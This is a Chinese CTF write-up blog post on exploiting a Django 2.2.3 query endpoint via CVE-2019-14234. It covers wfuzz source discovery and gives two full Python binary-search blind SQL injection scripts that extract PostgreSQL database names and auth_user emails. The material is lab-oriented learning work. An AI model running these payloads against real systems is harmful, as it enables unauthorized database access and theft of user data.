这篇文章发表于 1401 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
相关的题目在此下载 。某学长这道题出得比较优雅,可惜源码还是给的有点少(或者说DEBUG
选项没开),想复现对应的Django环境比较困难,也可能是在月赛的时候直接给了提示,然而我并没有参加月赛[doge]。
为简便起见,我对your_ip/settings.py
中的内容进行了一定的修改,置DEBUG=True
。设置该题目地址为127.0.0.1:30006
。
源码获取 这个直接扫就行。。我用的是wfuzz。
1 wfuzz -c -w .\wordlist\fuzzDicts-master\ctfDict\ctf.txt -t 10 -Z --hc '404' http://127.0.0.1:30006/static/FUZZ
寻找利用点 从泄露下来的源码来看,漏洞应该是在这里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def query_ip (request ): dic = request.GET dic = dict (dic) if len (dic) == 0 : return render(request, 'query.html' ) if not check_danger_string(json.dumps(dic)): msg = {'msg' : "hacker" } return JsonResponse(msg) dic = {f"ip__{k} " : dic[k][0 ] for k in dic} print (dic) my_ip = MyIP.objects.filter (**dic).all ().values() my_ip = [item for item in my_ip] return JsonResponse(my_ip, safe=False )
my_ip = MyIP.objects.filter(**dic).all().values()
这句中的dic
参数用户可控,而且由于题目环境还是Django 2.2.3(存在着CVE-2019-14234漏洞 ),因此很显然是个postgresql注入的利用点。
接下来先不急,我们进入/save
页面随便输入一组ip与域名,正确与否无所谓,仅仅作为之后可能需要的注入回显——于是我这里瞎输域名为mmmu.cn
,ip瞎输为11.1.1.1
。
接着先测试注入点的情况。如接下来所示,
可见存在着注入点,于是接下来添加注释。
注意:这里的等号会引发意外错误,因此在特定情况下可以使用大于小于、between and、like等来实现替代,这在之后payload构造中非常重要。
基本上已经能够确定这里的注入点了,盲猜一波布尔注入,于是尝试了如下的指令。
可见当上式正确的情况下,网页会返回数据库中存放的信息。
爆破脚本 关于postgresql的payload我是直接从这里 选出来的。一些东西就不多BB了,这里直接提供两个采用二分的注入脚本。
第一个脚本主要是把单独的东西全部提取出来用的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsimport timeurl='http://127.0.0.1:30006/query/' proxies={'http' :'127.0.0.1:8080' } flag='' i=1 while True : begin=32 end=126 tmp=(begin+end)//2 while ((begin!=tmp) and (end!=tmp)): payload=url + """?ip')>'1' or (select ascii(substr((SELECT datname FROM pg_database LIMIT 1),{},1))) between {} and {}-- -""" .format (i, begin, tmp) r=requests.post(url=payload,proxies=proxies) payload=url + """?ip')>'1' or (select ascii(substr((SELECT datname FROM pg_database LIMIT 1),{},1))) between {} and {}-- -""" .format (i, tmp, end) r2=requests.post(url=payload,proxies=proxies) if 'mmmu.cn' in r.text and 'mmmu.cn' in r2.text: begin = end = tmp if 'mmmu.cn' in r.text and 'mmmu.cn' not in r2.text: end=tmp tmp=(begin+tmp)//2 if 'mmmu.cn' in r2.text and 'mmmu.cn' not in r.text: begin=tmp tmp=(end+tmp)//2 print (begin,' ' ,tmp,' ' ,end) time.sleep(0.01 ) if begin==tmp: print (i,' ' ,chr (end)) flag+=chr (end) else : print (i,' ' ,chr (begin)) flag+=chr (begin) print (flag) i+=1 print (flag)
第二个脚本能够进行对多于一行的查询,其实它能够胜任第一个脚本的任务,那为什么不直接放第二个脚本呢?主要是提供两个模板吧,以便以后能迅速修改以适应对应的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import requestsurl='http://127.0.0.1:30006/query/' proxies={'http' :'127.0.0.1:8080' } flag='' j=0 exitflag=0 while True : i=1 tmp=128 while (tmp!=0 ): begin=0 end=256 exitflag=0 tmp=(begin+end)//2 while ((begin!=tmp) and (end!=tmp)): payload=url + """?ip')>'1' or (select ascii(substr((SELECT email FROM auth_user LIMIT 1 offset {}),{},1))) between {} and {}-- -""" .format (j, i, begin, tmp) r=requests.post(url=payload,proxies=proxies) payload=url + """?ip')>'1' or (select ascii(substr((SELECT email FROM auth_user LIMIT 1 offset {}),{},1))) between {} and {}-- -""" .format (j, i, tmp, end) r2=requests.post(url=payload,proxies=proxies) if 'mmmu.cn' in r.text and 'mmmu.cn' in r2.text: begin = end = tmp if 'mmmu.cn' in r.text and 'mmmu.cn' not in r2.text: end=tmp tmp=(begin+tmp)//2 if 'mmmu.cn' in r2.text and 'mmmu.cn' not in r.text: begin=tmp tmp=(end+tmp)//2 print (begin,' ' ,tmp,' ' ,end) if (begin==0 and end==256 and tmp==128 ): exitflag+=1 if exitflag>=3 : break if begin==tmp: print (i,' ' ,chr (end)) flag+=chr (end) else : print (i,' ' ,chr (begin)) flag+=chr (begin) print (flag) if exitflag>=3 : break i+=1 print ("OHHHHHHHHHHHHHHHHHHHHHHHHH" ) j+=1 flag+=" " if exitflag>=3 : break print (flag)
获取flag的感觉还是不错的。
后记 主要是因为postgresql还是第一次遇到,所以有了这篇很粗糙的文章。这题目出的确实不错,既没有花里胡哨的炫技也不难,却挺让我受启发的。
UCASZ
人生匆忙,文章仓皇。内容如有问题请及时指正,谢谢。